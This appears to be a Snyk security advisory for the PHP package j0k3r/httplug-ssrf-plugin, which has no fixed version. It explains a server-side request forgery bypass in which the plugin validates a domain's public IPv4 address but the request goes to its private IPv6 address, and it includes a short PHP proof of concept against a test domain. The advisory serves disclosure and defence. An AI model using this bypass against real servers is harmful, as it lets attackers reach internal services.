Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for j0k3r/httplug-ssrf-plugin.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to validating the IPv4 as safe but then the request will be made to the unsafe IPv6 address, when a domain resolves to a public IPv4 and a private IPv6.
<?php
use Graby\HttpClient\Plugin\ServerSideRequestForgeryProtection\Options;
use Graby\HttpClient\Plugin\ServerSideRequestForgeryProtection\ServerSideRequestForgeryProtectionPlugin;
use Http\Client\Common\PluginClient;
use Http\Discovery\HttpClientDiscovery;
use Http\Discovery\MessageFactoryDiscovery;
require_once __DIR__ . '/vendor/autoload.php';
$options = new Options();
$options->enablePinDns();
$pluginClient = new PluginClient(
HttpClientDiscovery::find(),
[new ServerSideRequestForgeryProtectionPlugin($options)]
);
// No SsrfException is thrown.
$pluginClient->sendRequest(
MessageFactoryDiscovery::find()->createRequest('GET', 'http://httplug-ssrf-plugin.netlib.re/')
);